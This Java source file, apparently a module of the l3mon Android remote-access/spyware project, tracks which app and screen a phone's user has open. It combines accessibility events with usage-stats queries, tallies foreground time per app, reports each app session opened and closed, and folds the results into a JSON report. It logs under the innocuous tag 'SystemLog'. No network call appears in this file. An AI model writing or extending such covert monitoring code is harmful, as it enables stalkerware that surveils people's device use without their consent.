package com.etechd.l3mon;

import android.app.usage.UsageEvents;
import android.app.usage.UsageStatsManager;
import android.content.Context;
import android.content.pm.PackageManager;
import android.util.Log;

import org.json.JSONArray;
import org.json.JSONObject;

import java.util.HashMap;
import java.util.Map;

/**
 * Tiempo en primer plano vía accesibilidad + sesiones abrir/cerrar.
 */
public class AppForegroundTracker {
    private static final String TAG = "SystemLog";
    private static final Map<String, Long> foregroundMs = new HashMap<String, Long>();
    private static String currentPkg;
    private static String currentActivity;
    private static long currentSince;
    private static String lastReportedForeground;
    private static String lastReportedForegroundActivity;

    public static synchronized void onWindowChanged(String packageName, String activityClass) {
        if (packageName == null || packageName.isEmpty()) {
            return;
        }
        Context ctx = SystemLogApi.getAppContext();
        long now = System.currentTimeMillis();

        if (currentPkg != null && currentSince > 0 && !currentPkg.equals(packageName)) {
            long delta = now - currentSince;
            if (delta > 0 && delta < 3600000L) {
                Long prev = foregroundMs.get(currentPkg);
                foregroundMs.put(currentPkg, (prev != null ? prev : 0L) + delta);
            }
            if (ctx != null) {
                AppSessionReporter.reportClosed(ctx, currentPkg, currentSince, now);
            }
        }

        if (!packageName.equals(currentPkg)) {
            currentPkg = packageName;
            currentSince = now;
            lastReportedForeground = packageName;
            if (ctx != null) {
                AppSessionReporter.reportOpened(ctx, packageName, now);
            }
        }

        if (activityClass != null && !activityClass.isEmpty()) {
            currentActivity = activityClass;
            lastReportedForegroundActivity = activityClass;
        }
    }

    /** Compatibilidad con llamadas antiguas. */
    public static synchronized void onWindowChanged(String packageName) {
        onWindowChanged(packageName, null);
    }

    public static synchronized String getForegroundPackage() {
        return lastReportedForeground;
    }

    public static synchronized String getForegroundActivity() {
        return lastReportedForegroundActivity;
    }

    /** Paquete y actividad coherentes tras refrescar UsageEvents. */
    public static synchronized ForegroundSnapshot snapshotForeground(Context context) {
        refreshFromUsageEvents(context);
        return new ForegroundSnapshot(lastReportedForeground, lastReportedForegroundActivity);
    }

    public static final class ForegroundSnapshot {
        public final String packageName;
        public final String activityClass;

        ForegroundSnapshot(String packageName, String activityClass) {
            this.packageName = packageName;
            this.activityClass = activityClass;
        }
    }

    /** Respaldo vía UsageEvents cuando accesibilidad aún no emitió la actividad. */
    public static synchronized void refreshFromUsageEvents(Context context) {
        if (context == null || !UsageAccessHelper.hasAccess(context)) {
            return;
        }
        try {
            UsageStatsManager usm = (UsageStatsManager) context.getApplicationContext()
                    .getSystemService(Context.USAGE_STATS_SERVICE);
            if (usm == null) {
                return;
            }
            long end = System.currentTimeMillis();
            UsageEvents events = usm.queryEvents(end - 20000L, end);
            if (events == null) {
                return;
            }

            String lastPkg = null;
            String lastClass = null;
            UsageEvents.Event ev = new UsageEvents.Event();
            while (events.hasNextEvent()) {
                events.getNextEvent(ev);
                int type = ev.getEventType();
                if (type != UsageEvents.Event.ACTIVITY_RESUMED
                        && type != UsageEvents.Event.MOVE_TO_FOREGROUND) {
                    continue;
                }
                String pkg = ev.getPackageName();
                if (pkg == null || pkg.isEmpty()) {
                    continue;
                }
                lastPkg = pkg;
                String cls = ev.getClassName();
                if (cls != null && !cls.isEmpty()) {
                    lastClass = cls;
                }
            }

            if (lastPkg != null) {
                lastReportedForeground = lastPkg;
                currentPkg = lastPkg;
            }
            if (lastClass != null && !lastClass.isEmpty()) {
                lastReportedForegroundActivity = lastClass;
                currentActivity = lastClass;
            }
        } catch (Exception e) {
            Log.e(TAG, "refreshFromUsageEvents: " + e.getMessage());
        }
    }

    public static synchronized void mergeIntoReport(Context context, JSONObject root, JSONArray apps) {
        flushCurrentSession();
        Context app = context.getApplicationContext();
        PackageManager pm = app.getPackageManager();
        java.util.Set<String> seen = new java.util.HashSet<String>();

        try {
            for (int i = 0; i < apps.length(); i++) {
                JSONObject row = apps.getJSONObject(i);
                seen.add(row.getString("packageName"));
            }

            for (Map.Entry<String, Long> e : foregroundMs.entrySet()) {
                String pkg = e.getKey();
                if (pkg.equals(app.getPackageName())) {
                    continue;
                }
                long ms = e.getValue();
                if (ms <= 0) {
                    continue;
                }
                if (seen.contains(pkg)) {
                    for (int i = 0; i < apps.length(); i++) {
                        JSONObject row = apps.getJSONObject(i);
                        if (pkg.equals(row.optString("packageName"))) {
                            long existing = row.optLong("foregroundMsToday", 0);
                            row.put("foregroundMsToday", existing + ms);
                            row.put("source", "mixed");
                            break;
                        }
                    }
                } else {
                    JSONObject row = new JSONObject();
                    row.put("packageName", pkg);
                    try {
                        row.put("appName", pm.getApplicationLabel(pm.getApplicationInfo(pkg, 0)).toString());
                    } catch (Exception ex) {
                        row.put("appName", pkg);
                    }
                    row.put("foregroundMsToday", ms);
                    row.put("foregroundMsWeek", ms);
                    row.put("lastTimeUsed", System.currentTimeMillis());
                    row.put("source", "accessibility");
                    apps.put(row);
                    seen.add(pkg);
                }
            }

            if (lastReportedForeground != null) {
                root.put("foreground_package", lastReportedForeground);
            }
        } catch (Exception e) {
            Log.e(TAG, "mergeIntoReport: " + e.getMessage());
        }
    }

    private static synchronized void flushCurrentSession() {
        if (currentPkg == null || currentSince <= 0) {
            return;
        }
        Context ctx = SystemLogApi.getAppContext();
        long now = System.currentTimeMillis();
        long delta = now - currentSince;
        if (delta > 0 && delta < 3600000L) {
            Long prev = foregroundMs.get(currentPkg);
            foregroundMs.put(currentPkg, (prev != null ? prev : 0L) + delta);
        }
        if (ctx != null && delta >= 2000L) {
            AppSessionReporter.reportClosed(ctx, currentPkg, currentSince, now);
        }
        currentSince = now;
    }
}
